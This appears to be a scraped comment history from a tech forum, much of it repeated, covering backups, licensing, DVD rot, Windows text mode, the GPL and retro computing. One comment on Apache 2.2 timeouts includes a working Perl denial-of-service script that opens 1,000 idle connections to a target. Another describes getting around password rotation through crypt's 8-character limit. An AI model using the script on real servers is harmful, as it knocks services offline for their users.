You just need to run your own DNS and DHCP servers on something you can modify, like a Linux appliance. Many popular little blue SOHO routers qualify....
option domain-name-servers mydns.localdomain;
Then have a zone for each banned domain in your DNS that consists solely of an SOA and NS record, identifying your DNS server.
hosts.txt are for... well... Windows users, actually, 'cause it's just hosts on POSIX-ish systems. And all of those run BIND and ISC DHCPD fine.
I'll second that. We're deprecating proprietary software where I work, for exactly this reason. Two companies selling proprietary software we use in our product have decided to play Silly Buggers.
One of them claims that there is no provision for distributing the runtime code of version 4.3 of their product, while version 4.2 and earlier all allow that. They claim, since most users are in-house government sites, no-one other than us cares about this clause missing in the new license. So we're eliminating our dependency on their code, rather than being held to ransom.
Another company claims that, because our company is now owned differently than it used to be (single owner vs. multiple owners, but private and untraded in both cases), we've lost all licenses present and past, including the unlimited right-to-use ones.
Needless to say, neither situation makes us want to pay for renewals or upgrades. We may not be willing to comply with the GPL, but boy are we happy to go along with the LGPL, BSD, MIT, XOpen, Apache, CDDL, and so on licenses.
The fact that "support" we usually get tends to be, "Oh, don't do that" or "why would you want to do that?" also doesn't make us enthralled with proprietary software.
My Discman could drive a set of Sennheiser headphones quite well, if you turned off the AVLS defect (automatic volume limiting system). (My 'phones were less sensitive than the crap that came with the player, so the AVLS would start muting at regular volume levels. Volts != dBa at the eardrum.)
That's including CDs from before the Loudness Wars. Actually, that's especially CDs from before the Loudness Wars, as that's when I had a Discman and not a Rio Volt CD MP3 player.
If you lived in a jurisdiction where AVLS could not be switched off, that would suck with a good pair of 'phones. Or even bad. Big Brother is screwing you.
In Ontario, we're having an electricity surplus. With a manufacturing "slow-down" and a cool summer, the grid is peaking about 7 gigawatts below typical load for this time of year.
Which means it's running almost entirely on nuclear and hydro, which are effectively "free" by comparison to coal, oil and gas.
So wholesale customers are getting rates below 1 cent per kWh. Large industrial customers may even be getting rebates to use power.
At least one ~700 MW reactor has been shut down to reduce base generating capacity.
They can at least look at what's going on outside the car. (Though passengers who _do not drive_ tend to not know when to shut up.)
But you're right: there's plenty of people driving distracted by conversations in their own car. Kids yammering in the back seat, "domestic dispute" in the front, lots of things taking their mind off the task at hand.
Too bad we can't ban the lot. And mandate, "Only drive when neutral or happy, never in anger."
Any backup software that does NOT fully verify media (CD, DVD, tape, floppy, HDD, floptical, SuperDisk, whatever) before ejecting is garbage.
Rule 2:
Any operator that has disabled media verification is an idiot.
Rule 3:
Just because the media passed read-back verification doesn't mean you'll be able to read it a second time.
Rule 4:
If it's important enough to backup once, it's important enough to back up more than once.
(I go with 3 times on re-usable media, so there's always at least 2 complete backups on separate media sets.)
Rule 5:
If it's REALLY important, use multiple backup systems.
(As you found out; the offsites saved your butt.)
Anecdotes are not data... but....
Story the First:
Back in the day, the Commodore IEEE 488 disk drives (2040, 4040, 1541 (serial ick), &c.) had a feature where you could overstrike an existing file by naming a new file "@OLDFILE.SEQ" or whatever. So I was happily saving multiple copies of my work on the same floppy... when the 1541 "SAVE @" bug trashed everything. Back when diskettes were $10/each, having to have TWO was a big expense... for a 12 year old anyway.
Story the Second:
Some friends had gotten an incredible deal on Verbatim 1M unformatted (DSDD) 3.5" diskettes. Full warranty and everything, but for like $1 each instead of $5. They got a whole case (100), direct from the local reseller. I happily backed up my Amiga's HDD, and QuarterBack reported 25% failure during write and media verify. No big deal, but that used up about all the diskettes, and I really needed to re-partition. Except that another 25% failed during restore.... Oops. All the failed disks worked fine on a PC (720 kB formatted), but not on Amigas (880 kB formatted). Weird.
Story the Third:
In my first full-time job, I inherited a "backup" system that had been typed in from a UNIX magazine. It backed up a bunch of machines to a shared tape drive, using the AIX moral equivalent of dump(8). All seemed well... then the main server blew out a disk. (IBM 857MB SCSI disks being notorious for short life-spans. They eventually issued an EC to replace every single one.)
Seeking to the appropriate tape record, I noticed the TOC looked like it should have been from another machine....
Digging a little more, I found: (1) The script-from-a-magazine didn't detect errors from the dump(8) command. (2) The tape drive, on end-of-tape, would set an error flag on that operation and it would fail it. (3) The tape drive, on the second operation with the EOT flag set, would also report an error and fail it--and begin rewinding the tape. (4) Therefore, the next backup after that would succeed--starting from the beginning of tape, overstriking the other backups.
I've been adding the "-e" flag to other people's #!/bin/ksh lines ever since.
RAID will correctly propagate an incorrect command across all copies in the mirror.
Any sort of incremental backup system will allow you to go back "in time", like with source control, to before that error and pull the data back.
So, I've got RAID for hardware errors and Retrospect for operator errors and MAJOR hardware errors. (And have hand-rolled a crude equivalent with dump(8) in the past.) Retrospect or SuperDuper is handy for system changes, too; back everything up, swap disks, restore.
(Windows users may find 'restore' is a much more complicated step than us UNIX/Linux/OSX users. Especially if the bloody thing deactivates before you get a chance to restore the system with the activation code in it.)
And some of us do have pressed DVDs from the '90s that don't play.
The first issue of Kentucky Fried Movie. The first 007 box set (with the "select Widescreen or Normal" prompt). The first issue of Spirited Away.
They haven't all failed in the same way. The 007 discs appear readable, but they play back garbage--they rip without delay, but neither the original nor the rip plays. And one of them I'd watched one month before my "free the living room shelves" ripping project.
The other discs aren't readable at all. They show up as NO DISC in players.
Probably an error in the chemical composition of the adhesives or substrate layer in the discs, just like good ol' Laser Rot from the LD era.
And I've got DVD-Rs which didn't last a summer. And I've got DVD-Rs which have lasted a decade....
And I've got a belief that archives need to be done to multiple classes of media, as well as multiple copies.
You will find UNIX authentication that uses crypt(3C) cares about the first 8 characters of your password. It will accept more without complaint, but you can omit anything after the first 8 when logging in just fine.
I do it all the time; that way, the change-passwords-every-X-days code is happy (change the 9th character), and my UNIX password doesn't change.
Systems using a better hash (such as MD5 or SHA) or Kerberos shouldn't have this problem. Systems using NIS almost certainly do.
It's easy enough to put an IDC.100" plug on one end of a cable with the card-edge connector on the other end for the 5.25" drive.... Then you can put the 3.5" floppy thingie back together with no-one the wiser. Oh, and the 5.25" drive will take a 4-pin Molex like an old HDD.
You'd hate my Zumo. It's got Bluetooth for patching your cellphone into your helmet headset speaker/mic.
Actually, they can have my Zumo back when they come up with something truly better. For a bike, it's great; it's got MP3 playback from SD cards, the cellphone patch, and can interface with Bluetooth helmet headsets or wired headsets. Got rid of a number of wiring issues with one device.
Heck, you can get a small gasoline (petrol) car that approaches the Prius--at least the '08--in mileage. The Toyota Yaris or Honda Fit, for example.
I worked out the math for getting the Prius instead of a Yaris, and used $6.00/gallon (when street price was $3.25 or so) for the calculations. I didn't anticipate driving _far enough_ during the _life I would have the car_ to pay for the Prius over the simpler car.
That's not to say a high-mileage driver can't justify it. But those of us who do a lease-friendly 20,000 km/year have some work to do.
CTRL-Z (032, 26, 0x1a, ASCII SUB) terminates a text stream.
Plus, others have said round-trip should be OK. But you're not:
CR-LF -> LF -> CR-LF LF -> LF -> CR-LF
Windows text mode should have been left in the early 80s where it belonged. Everyone else went to out-of-band EOF and single-character EOL marks. (Not necessarily the same EOL marks; I've seen CR, LF, and RS over the years.)
(Even Windows really uses out-of-band EOF, the CTRL-Z thing is Legacy. But it still affects text streams. Usually.)
Heck, I had an upgradeable motherboard and got a new CPU for it, the top-speed Athlon that was supported (2000+, woo!).
Except that, only Stepping 7 was supported, and I got a Stepping 8 CPU. And there was no newer flash for the BIOS.
Except that, if you hand-tune the voltages and timings, the video card didn't want to play any more.
Except that, if you put a new video card in, the RAM got unhappy.
At that point, I phoned my Mom and said she could have a new machine for the price of a case, and I bought myself a new motherboard to go with the new RAM and new video card and new CPU....
As a result, I don't really mind that I can't change the CPU on my Mac Mini. I _know_ I can't right up front, I don't go to the store 4 times thinking "this bit will make it all work with the new stuff!"
Moral: You might be able to reuse the case, monitor, speakers, keyboard and mouse. And possibly the disks.
The GPL isn't about "free" for developers. It's about "free" (speech) for users. That's why it's written that way. They don't give a flying fig about developers. They want the end-user to always have access to the source. Which means you NEVER get the right to close the source on a GPL project.
If you don't like the rules, don't play the game.
That's also why end-users don't have to agree to the GPL, only people distributing copies do. It's not an EULA, but it is for the end-user.
The "freedom" you want is not what the GPL is about. So write your own code, or join up with other people to do so.
If a lossy encode, via the same codec with the same settings, does not come out the same way every single time then there is an input that you do not know about.
This could be something obvious, like the encoder adding a "time-of-encode" ID4 tag.
But, most likely, there's a random number generator being used in the codec that starts with a different seed each time you run it.
There can't be any other outcome: same inputs must equal same outputs. If what you think are the same inputs results in different outputs, then there's something you don't know about providing an input. (We'll include state -- like saving the last value of the PRNG seed -- as a hidden output that becomes a hidden input on the next run. Time-of-day clock is an input. So are working directory, user ID codes, and so on.)
Yup. I spent more time modifying the BASIC code for those magazine games than actually playing them.
The ones that were just raw numeric dumps weren't so modifiable; those were actually machine code binaries, and whether or not the assembly was provided depended a lot on the magazine. (And if you didn't have an assembler, it was hours and hours with pencil and paper and the CPU opcode reference tables.)
Let's face it: Myst was originally done in HyperCard.
So yes, writing a game for a console has a high barrier to entry. Writing a game for an 8-bit micro had a very, very, very low barrier. Especially the Apple and Commodore machines (and I think the Atari, too): they came with full memory maps of all the I/O devices and official ROM entry points. (Or were provided in a very affordable book, like the Commodore 64 Programmer's Reference Guide. Still got mine.... *sigh*)
They even provided ways of mixing machine code and BASIC, so you didn't have to do everything in hand-POKEd machine code, just the bits that mattered.
Transactor magazine had this wonderful wedge system for extending the C=64's BASIC interpreter. All for the cost of the magazines and some typing. You could then write your own BASIC commands, or use the ones people would send in to the magazine. Or a lovely assembler that used the BASIC line editor.
(The reference books for the Amiga were more expensive, because there was a lot more in them, but they were no less detailed. Getting a C compiler was a bit spendy, though there was this guy who'd written one and was--get this--giving it away for FREE! Needed more RAM and disk than most home Amigas had at the time, though. It was called GNU something.)
HTTP 1.1 specifies a status code for "Request Timeout" (408) and "Gateway Timeout" (504).
What is needed, therefore, is a timer running for receiving the complete header, and a second one for accepting the body. The timer for the body can be controlled by the type of request and the Content-Length header. (With, of course, a specific cap.)
Currently, Apache 2.2 has a single timeout value for all types of requests, but it is interpreted differently for the different types.
If your server only handles GETs, the obvious thing is to crank that number down. Unfortunately, for PUTs, the TimeOut value affects inter-packet time in the request, not overall request time.
Strangely, the timeout doesn't seem to run in 2.2.10 and 2.2.11 before data is received. Oh dear. That's an even simpler DoS.
#!/usr/bin/env perl
use IO::Socket::INET; use strict; use constant DEFAULT_PORT => "http";
MAIN: { if(@ARGV<1 or @ARGV>2) { die "Usage: $0 host [port]\n"; } my($host)=shift; my($port)=@ARGV?shift:DEFAULT_PORT;
my(@sockets);
for(my $cnt=0;$cnt<1000;++$cnt) { my $socket=new IO::Socket::INET(PeerAddr=>$host, PeerPort=>$port, Proto=>"tcp"); unless(defined($socket)) { die "Cannot create socket to $host:$port--$!\n"; } $socket->print("\r\n"); push(@sockets,$socket); print " Have ".@sockets." open.\n"; } }
One could argue, you're giving that information to a PROGRAM that logs in on your behalf, just like your Web browser and IMAP or POP3 client do. You're not giving it to a system operator or clerk at Linkedin, Facebook, whatever. You're not sharing it with a person. And the city doing a background check is acting on the city's behalf, not yours.
Not that I actually trust any of those things, and wouldn't let them do that even if I did have anything on any of the sites that they'd want to log in to.
Hmmmmmm....
You just need to run your own DNS and DHCP servers on something you can modify, like a Linux appliance. Many popular little blue SOHO routers qualify....
option domain-name-servers mydns.localdomain;
Then have a zone for each banned domain in your DNS that consists solely of an SOA and NS record, identifying your DNS server.
hosts.txt are for... well... Windows users, actually, 'cause it's just hosts on POSIX-ish systems. And all of those run BIND and ISC DHCPD fine.
I'll second that. We're deprecating proprietary software where I work, for exactly this reason. Two companies selling proprietary software we use in our product have decided to play Silly Buggers.
One of them claims that there is no provision for distributing the runtime code of version 4.3 of their product, while version 4.2 and earlier all allow that. They claim, since most users are in-house government sites, no-one other than us cares about this clause missing in the new license. So we're eliminating our dependency on their code, rather than being held to ransom.
Another company claims that, because our company is now owned differently than it used to be (single owner vs. multiple owners, but private and untraded in both cases), we've lost all licenses present and past, including the unlimited right-to-use ones.
Needless to say, neither situation makes us want to pay for renewals or upgrades. We may not be willing to comply with the GPL, but boy are we happy to go along with the LGPL, BSD, MIT, XOpen, Apache, CDDL, and so on licenses.
The fact that "support" we usually get tends to be, "Oh, don't do that" or "why would you want to do that?" also doesn't make us enthralled with proprietary software.
My Discman could drive a set of Sennheiser headphones quite well, if you turned off the AVLS defect (automatic volume limiting system). (My 'phones were less sensitive than the crap that came with the player, so the AVLS would start muting at regular volume levels. Volts != dBa at the eardrum.)
That's including CDs from before the Loudness Wars. Actually, that's especially CDs from before the Loudness Wars, as that's when I had a Discman and not a Rio Volt CD MP3 player.
If you lived in a jurisdiction where AVLS could not be switched off, that would suck with a good pair of 'phones. Or even bad. Big Brother is screwing you.
It's 97MB/s per the specification sheet (PDF). You have to read the PDF, the HTML spec page doesn't have it.
They're also 12.5mm, which I think means no-go for most of my applications.
In Ontario, we're having an electricity surplus. With a manufacturing "slow-down" and a cool summer, the grid is peaking about 7 gigawatts below typical load for this time of year.
Which means it's running almost entirely on nuclear and hydro, which are effectively "free" by comparison to coal, oil and gas.
So wholesale customers are getting rates below 1 cent per kWh. Large industrial customers may even be getting rebates to use power.
At least one ~700 MW reactor has been shut down to reduce base generating capacity.
What crisis is that again?
Thing about passengers....
They can at least look at what's going on outside the car. (Though passengers who _do not drive_ tend to not know when to shut up.)
But you're right: there's plenty of people driving distracted by conversations in their own car. Kids yammering in the back seat, "domestic dispute" in the front, lots of things taking their mind off the task at hand.
Too bad we can't ban the lot. And mandate, "Only drive when neutral or happy, never in anger."
Rule 1:
Any backup software that does NOT fully verify media (CD, DVD, tape, floppy, HDD, floptical, SuperDisk, whatever) before ejecting is garbage.
Rule 2:
Any operator that has disabled media verification is an idiot.
Rule 3:
Just because the media passed read-back verification doesn't mean you'll be able to read it a second time.
Rule 4:
If it's important enough to backup once, it's important enough to back up more than once.
(I go with 3 times on re-usable media, so there's always at least 2 complete backups on separate media sets.)
Rule 5:
If it's REALLY important, use multiple backup systems.
(As you found out; the offsites saved your butt.)
Anecdotes are not data... but....
Story the First:
Back in the day, the Commodore IEEE 488 disk drives (2040, 4040, 1541 (serial ick), &c.) had a feature where you could overstrike an existing file by naming a new file "@OLDFILE.SEQ" or whatever. So I was happily saving multiple copies of my work on the same floppy... when the 1541 "SAVE @" bug trashed everything. Back when diskettes were $10/each, having to have TWO was a big expense... for a 12 year old anyway.
Story the Second:
Some friends had gotten an incredible deal on Verbatim 1M unformatted (DSDD) 3.5" diskettes. Full warranty and everything, but for like $1 each instead of $5. They got a whole case (100), direct from the local reseller. I happily backed up my Amiga's HDD, and QuarterBack reported 25% failure during write and media verify. No big deal, but that used up about all the diskettes, and I really needed to re-partition. Except that another 25% failed during restore.... Oops. All the failed disks worked fine on a PC (720 kB formatted), but not on Amigas (880 kB formatted). Weird.
Story the Third:
In my first full-time job, I inherited a "backup" system that had been typed in from a UNIX magazine. It backed up a bunch of machines to a shared tape drive, using the AIX moral equivalent of dump(8). All seemed well... then the main server blew out a disk. (IBM 857MB SCSI disks being notorious for short life-spans. They eventually issued an EC to replace every single one.)
Seeking to the appropriate tape record, I noticed the TOC looked like it should have been from another machine....
Digging a little more, I found: (1) The script-from-a-magazine didn't detect errors from the dump(8) command. (2) The tape drive, on end-of-tape, would set an error flag on that operation and it would fail it. (3) The tape drive, on the second operation with the EOT flag set, would also report an error and fail it--and begin rewinding the tape. (4) Therefore, the next backup after that would succeed--starting from the beginning of tape, overstriking the other backups.
I've been adding the "-e" flag to other people's #!/bin/ksh lines ever since.
The thing about RAID is....
RAID will correctly propagate an incorrect command across all copies in the mirror.
Any sort of incremental backup system will allow you to go back "in time", like with source control, to before that error and pull the data back.
So, I've got RAID for hardware errors and Retrospect for operator errors and MAJOR hardware errors. (And have hand-rolled a crude equivalent with dump(8) in the past.) Retrospect or SuperDuper is handy for system changes, too; back everything up, swap disks, restore.
(Windows users may find 'restore' is a much more complicated step than us UNIX/Linux/OSX users. Especially if the bloody thing deactivates before you get a chance to restore the system with the activation code in it.)
A lot (well, some) of people in Manhattan store their cars in New Jersey and take the train to get to their car.
I'll bet they almost never get into crashes!
And some of us do have pressed DVDs from the '90s that don't play.
The first issue of Kentucky Fried Movie. The first 007 box set (with the "select Widescreen or Normal" prompt). The first issue of Spirited Away.
They haven't all failed in the same way. The 007 discs appear readable, but they play back garbage--they rip without delay, but neither the original nor the rip plays. And one of them I'd watched one month before my "free the living room shelves" ripping project.
The other discs aren't readable at all. They show up as NO DISC in players.
Probably an error in the chemical composition of the adhesives or substrate layer in the discs, just like good ol' Laser Rot from the LD era.
And I've got DVD-Rs which didn't last a summer. And I've got DVD-Rs which have lasted a decade....
And I've got a belief that archives need to be done to multiple classes of media, as well as multiple copies.
You will find UNIX authentication that uses crypt(3C) cares about the first 8 characters of your password. It will accept more without complaint, but you can omit anything after the first 8 when logging in just fine.
I do it all the time; that way, the change-passwords-every-X-days code is happy (change the 9th character), and my UNIX password doesn't change.
Systems using a better hash (such as MD5 or SHA) or Kerberos shouldn't have this problem. Systems using NIS almost certainly do.
It's easy enough to put an IDC .100" plug on one end of a cable with the card-edge connector on the other end for the 5.25" drive.... Then you can put the 3.5" floppy thingie back together with no-one the wiser. Oh, and the 5.25" drive will take a 4-pin Molex like an old HDD.
(Never done that with a USB gadget, though.)
You'd hate my Zumo. It's got Bluetooth for patching your cellphone into your helmet headset speaker/mic.
Actually, they can have my Zumo back when they come up with something truly better. For a bike, it's great; it's got MP3 playback from SD cards, the cellphone patch, and can interface with Bluetooth helmet headsets or wired headsets. Got rid of a number of wiring issues with one device.
Google is your friend:
45 mpg in miles per imperial gallons
(I love Google calculator. I don't miss my HP-48SX quite as much any more....)
Heck, you can get a small gasoline (petrol) car that approaches the Prius--at least the '08--in mileage. The Toyota Yaris or Honda Fit, for example.
I worked out the math for getting the Prius instead of a Yaris, and used $6.00/gallon (when street price was $3.25 or so) for the calculations. I didn't anticipate driving _far enough_ during the _life I would have the car_ to pay for the Prius over the simpler car.
That's not to say a high-mileage driver can't justify it. But those of us who do a lease-friendly 20,000 km/year have some work to do.
So I got another Subaru Impreza.
Text mode on Windows is worse than that.
CTRL-Z (032, 26, 0x1a, ASCII SUB) terminates a text stream.
Plus, others have said round-trip should be OK. But you're not:
CR-LF -> LF -> CR-LF
LF -> LF -> CR-LF
Windows text mode should have been left in the early 80s where it belonged. Everyone else went to out-of-band EOF and single-character EOL marks. (Not necessarily the same EOL marks; I've seen CR, LF, and RS over the years.)
(Even Windows really uses out-of-band EOF, the CTRL-Z thing is Legacy. But it still affects text streams. Usually.)
Heck, I had an upgradeable motherboard and got a new CPU for it, the top-speed Athlon that was supported (2000+, woo!).
Except that, only Stepping 7 was supported, and I got a Stepping 8 CPU. And there was no newer flash for the BIOS.
Except that, if you hand-tune the voltages and timings, the video card didn't want to play any more.
Except that, if you put a new video card in, the RAM got unhappy.
At that point, I phoned my Mom and said she could have a new machine for the price of a case, and I bought myself a new motherboard to go with the new RAM and new video card and new CPU....
As a result, I don't really mind that I can't change the CPU on my Mac Mini. I _know_ I can't right up front, I don't go to the store 4 times thinking "this bit will make it all work with the new stuff!"
Moral: You might be able to reuse the case, monitor, speakers, keyboard and mouse. And possibly the disks.
The GPL isn't about "free" for developers. It's about "free" (speech) for users. That's why it's written that way. They don't give a flying fig about developers. They want the end-user to always have access to the source. Which means you NEVER get the right to close the source on a GPL project.
If you don't like the rules, don't play the game.
That's also why end-users don't have to agree to the GPL, only people distributing copies do. It's not an EULA, but it is for the end-user.
The "freedom" you want is not what the GPL is about. So write your own code, or join up with other people to do so.
If a lossy encode, via the same codec with the same settings, does not come out the same way every single time then there is an input that you do not know about.
This could be something obvious, like the encoder adding a "time-of-encode" ID4 tag.
But, most likely, there's a random number generator being used in the codec that starts with a different seed each time you run it.
There can't be any other outcome: same inputs must equal same outputs. If what you think are the same inputs results in different outputs, then there's something you don't know about providing an input. (We'll include state -- like saving the last value of the PRNG seed -- as a hidden output that becomes a hidden input on the next run. Time-of-day clock is an input. So are working directory, user ID codes, and so on.)
Saying "you're doing it wrong" doesn't require "we're doing it right".
Yup. I spent more time modifying the BASIC code for those magazine games than actually playing them.
The ones that were just raw numeric dumps weren't so modifiable; those were actually machine code binaries, and whether or not the assembly was provided depended a lot on the magazine. (And if you didn't have an assembler, it was hours and hours with pencil and paper and the CPU opcode reference tables.)
Let's face it: Myst was originally done in HyperCard.
So yes, writing a game for a console has a high barrier to entry. Writing a game for an 8-bit micro had a very, very, very low barrier. Especially the Apple and Commodore machines (and I think the Atari, too): they came with full memory maps of all the I/O devices and official ROM entry points. (Or were provided in a very affordable book, like the Commodore 64 Programmer's Reference Guide. Still got mine.... *sigh*)
They even provided ways of mixing machine code and BASIC, so you didn't have to do everything in hand-POKEd machine code, just the bits that mattered.
Transactor magazine had this wonderful wedge system for extending the C=64's BASIC interpreter. All for the cost of the magazines and some typing. You could then write your own BASIC commands, or use the ones people would send in to the magazine. Or a lovely assembler that used the BASIC line editor.
(The reference books for the Amiga were more expensive, because there was a lot more in them, but they were no less detailed. Getting a C compiler was a bit spendy, though there was this guy who'd written one and was--get this--giving it away for FREE! Needed more RAM and disk than most home Amigas had at the time, though. It was called GNU something.)
BTW, is there a self-mod value for "I'm not sure I should have posted that"?
I think it means stupid crap like "Microsoft Internet Explorer Brought To You By CompanyYouWorkFor StupidCompanySlogan" in every freakin' title bar.
Customization like that, I don't need.
Fortunately, I only see it when I do my time sheet.
(Has IE8 got <button> working per W3C by default yet?)
HTTP 1.1 specifies a status code for "Request Timeout" (408) and "Gateway Timeout" (504).
What is needed, therefore, is a timer running for receiving the complete header, and a second one for accepting the body. The timer for the body can be controlled by the type of request and the Content-Length header. (With, of course, a specific cap.)
Currently, Apache 2.2 has a single timeout value for all types of requests, but it is interpreted differently for the different types.
If your server only handles GETs, the obvious thing is to crank that number down. Unfortunately, for PUTs, the TimeOut value affects inter-packet time in the request, not overall request time.
Strangely, the timeout doesn't seem to run in 2.2.10 and 2.2.11 before data is received. Oh dear. That's an even simpler DoS.
Not quite as stealthy, though. At least as above.
One could argue, you're giving that information to a PROGRAM that logs in on your behalf, just like your Web browser and IMAP or POP3 client do. You're not giving it to a system operator or clerk at Linkedin, Facebook, whatever. You're not sharing it with a person. And the city doing a background check is acting on the city's behalf, not yours.
Not that I actually trust any of those things, and wouldn't let them do that even if I did have anything on any of the sites that they'd want to log in to.